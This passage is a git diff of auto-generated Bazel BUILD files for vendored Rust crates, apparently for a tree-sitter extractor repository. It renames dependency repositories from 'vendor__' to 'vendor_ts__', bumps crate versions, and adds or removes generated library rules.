     name = "tracing-flame-0.2.0",
-    actual = "@vendor__tracing-flame-0.2.0//:tracing_flame",
+    actual = "@vendor_ts__tracing-flame-0.2.0//:tracing_flame",
     tags = ["manual"],
 )
 
 alias(
     name = "tracing-flame",
-    actual = "@vendor__tracing-flame-0.2.0//:tracing_flame",
+    actual = "@vendor_ts__tracing-flame-0.2.0//:tracing_flame",
     tags = ["manual"],
 )
 
 alias(
     name = "tracing-subscriber-0.3.19",
-    actual = "@vendor__tracing-subscriber-0.3.19//:tracing_subscriber",
+    actual = "@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber",
     tags = ["manual"],
 )
 
 alias(
     name = "tracing-subscriber",
-    actual = "@vendor__tracing-subscriber-0.3.19//:tracing_subscriber",
+    actual = "@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber",
     tags = ["manual"],
 )
 
 alias(
     name = "tree-sitter-0.24.6",
-    actual = "@vendor__tree-sitter-0.24.6//:tree_sitter",
+    actual = "@vendor_ts__tree-sitter-0.24.6//:tree_sitter",
     tags = ["manual"],
 )
 
 alias(
     name = "tree-sitter",
-    actual = "@vendor__tree-sitter-0.24.6//:tree_sitter",
+    actual = "@vendor_ts__tree-sitter-0.24.6//:tree_sitter",
     tags = ["manual"],
 )
 
 alias(
     name = "tree-sitter-embedded-template-0.23.2",
-    actual = "@vendor__tree-sitter-embedded-template-0.23.2//:tree_sitter_embedded_template",
+    actual = "@vendor_ts__tree-sitter-embedded-template-0.23.2//:tree_sitter_embedded_template",
     tags = ["manual"],
 )
 
 alias(
     name = "tree-sitter-embedded-template",
-    actual = "@vendor__tree-sitter-embedded-template-0.23.2//:tree_sitter_embedded_template",
+    actual = "@vendor_ts__tree-sitter-embedded-template-0.23.2//:tree_sitter_embedded_template",
     tags = ["manual"],
 )
 
 alias(
     name = "tree-sitter-json-0.24.8",
-    actual = "@vendor__tree-sitter-json-0.24.8//:tree_sitter_json",
+    actual = "@vendor_ts__tree-sitter-json-0.24.8//:tree_sitter_json",
     tags = ["manual"],
 )
 
 alias(
     name = "tree-sitter-json",
-    actual = "@vendor__tree-sitter-json-0.24.8//:tree_sitter_json",
+    actual = "@vendor_ts__tree-sitter-json-0.24.8//:tree_sitter_json",
     tags = ["manual"],
 )
 
 alias(
     name = "tree-sitter-ql-0.23.1",
-    actual = "@vendor__tree-sitter-ql-0.23.1//:tree_sitter_ql",
+    actual = "@vendor_ts__tree-sitter-ql-0.23.1//:tree_sitter_ql",
     tags = ["manual"],
 )
 
 alias(
     name = "tree-sitter-ql",
-    actual = "@vendor__tree-sitter-ql-0.23.1//:tree_sitter_ql",
+    actual = "@vendor_ts__tree-sitter-ql-0.23.1//:tree_sitter_ql",
     tags = ["manual"],
 )
 
 alias(
     name = "tree-sitter-ruby-0.23.1",
-    actual = "@vendor__tree-sitter-ruby-0.23.1//:tree_sitter_ruby",
+    actual = "@vendor_ts__tree-sitter-ruby-0.23.1//:tree_sitter_ruby",
     tags = ["manual"],
 )
 
 alias(
     name = "tree-sitter-ruby",
-    actual = "@vendor__tree-sitter-ruby-0.23.1//:tree_sitter_ruby",
+    actual = "@vendor_ts__tree-sitter-ruby-0.23.1//:tree_sitter_ruby",
     tags = ["manual"],
 )
 
 alias(
     name = "triomphe-0.1.14",
-    actual = "@vendor__triomphe-0.1.14//:triomphe",
+    actual = "@vendor_ts__triomphe-0.1.14//:triomphe",
     tags = ["manual"],
 )
 
 alias(
     name = "triomphe",
-    actual = "@vendor__triomphe-0.1.14//:triomphe",
+    actual = "@vendor_ts__triomphe-0.1.14//:triomphe",
     tags = ["manual"],
 )
 
 alias(
     name = "ungrammar-1.16.1",
-    actual = "@vendor__ungrammar-1.16.1//:ungrammar",
+    actual = "@vendor_ts__ungrammar-1.16.1//:ungrammar",
     tags = ["manual"],
 )
 
 alias(
     name = "ungrammar",
-    actual = "@vendor__ungrammar-1.16.1//:ungrammar",
+    actual = "@vendor_ts__ungrammar-1.16.1//:ungrammar",
     tags = ["manual"],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bitflags-2.7.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bitflags-2.7.0.bazel
deleted file mode 100644
index 8cab6aa66048..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bitflags-2.7.0.bazel
+++ /dev/null
@@ -1,83 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "bitflags",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=bitflags",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "2.7.0",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bitflags-2.8.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bitflags-2.8.0.bazel
new file mode 100644
index 000000000000..eb58d610f971
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bitflags-2.8.0.bazel
@@ -0,0 +1,83 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "bitflags",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=bitflags",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "2.8.0",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.borsh-1.5.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.borsh-1.5.3.bazel
index f355f40e61eb..09e2ca4092d4 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.borsh-1.5.3.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.borsh-1.5.3.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "1.5.3",
     deps = [
-        "@vendor__borsh-1.5.3//:build_script_build",
+        "@vendor_ts__borsh-1.5.3//:build_script_build",
     ],
 )
 
@@ -134,7 +134,7 @@ cargo_build_script(
     version = "1.5.3",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__cfg_aliases-0.2.1//:cfg_aliases",
+        "@vendor_ts__cfg_aliases-0.2.1//:cfg_aliases",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.boxcar-0.2.11.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.boxcar-0.2.11.bazel
new file mode 100644
index 000000000000..06ae2c25a76c
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.boxcar-0.2.11.bazel
@@ -0,0 +1,83 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "boxcar",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=boxcar",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.2.11",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bstr-1.11.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bstr-1.11.3.bazel
index 40c109380a87..baeadd361ef5 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bstr-1.11.3.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bstr-1.11.3.bazel
@@ -85,6 +85,6 @@ rust_library(
     }),
     version = "1.11.3",
     deps = [
-        "@vendor__memchr-2.7.4//:memchr",
+        "@vendor_ts__memchr-2.7.4//:memchr",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.camino-1.1.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.camino-1.1.9.bazel
index 1c5987a67610..27672271a76d 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.camino-1.1.9.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.camino-1.1.9.bazel
@@ -86,8 +86,8 @@ rust_library(
     }),
     version = "1.1.9",
     deps = [
-        "@vendor__camino-1.1.9//:build_script_build",
-        "@vendor__serde-1.0.217//:serde",
+        "@vendor_ts__camino-1.1.9//:build_script_build",
+        "@vendor_ts__serde-1.0.219//:serde",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo-platform-0.1.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo-platform-0.1.9.bazel
index ebaa6fbc108a..a95435a61514 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo-platform-0.1.9.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo-platform-0.1.9.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "0.1.9",
     deps = [
-        "@vendor__serde-1.0.217//:serde",
+        "@vendor_ts__serde-1.0.219//:serde",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo_metadata-0.18.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo_metadata-0.18.1.bazel
index 3ce41e37c246..17cd583761cd 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo_metadata-0.18.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo_metadata-0.18.1.bazel
@@ -84,11 +84,11 @@ rust_library(
     }),
     version = "0.18.1",
     deps = [
-        "@vendor__camino-1.1.9//:camino",
-        "@vendor__cargo-platform-0.1.9//:cargo_platform",
-        "@vendor__semver-1.0.24//:semver",
-        "@vendor__serde-1.0.217//:serde",
-        "@vendor__serde_json-1.0.135//:serde_json",
-        "@vendor__thiserror-1.0.69//:thiserror",
+        "@vendor_ts__camino-1.1.9//:camino",
+        "@vendor_ts__cargo-platform-0.1.9//:cargo_platform",
+        "@vendor_ts__semver-1.0.24//:semver",
+        "@vendor_ts__serde-1.0.219//:serde",
+        "@vendor_ts__serde_json-1.0.140//:serde_json",
+        "@vendor_ts__thiserror-1.0.69//:thiserror",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel
index 650c2f35f4db..56be5f5153be 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "1.2.7",
     deps = [
-        "@vendor__shlex-1.3.0//:shlex",
+        "@vendor_ts__shlex-1.3.0//:shlex",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.100.0.bazel
new file mode 100644
index 000000000000..3e9e66a96dc7
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.100.0.bazel
@@ -0,0 +1,89 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_proc_macro(
+    name = "chalk_derive",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=chalk-derive",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+        "@vendor_ts__synstructure-0.13.1//:synstructure",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.98.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.98.0.bazel
deleted file mode 100644
index 3c918d1dc988..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.98.0.bazel
+++ /dev/null
@@ -1,89 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_proc_macro(
-    name = "chalk_derive",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=chalk-derive",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.98.0",
-    deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
-        "@vendor__synstructure-0.13.1//:synstructure",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.100.0.bazel
new file mode 100644
index 000000000000..9b77e1de102d
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.100.0.bazel
@@ -0,0 +1,89 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "chalk_ir",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    proc_macro_deps = [
+        "@vendor_ts__chalk-derive-0.100.0//:chalk_derive",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=chalk-ir",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
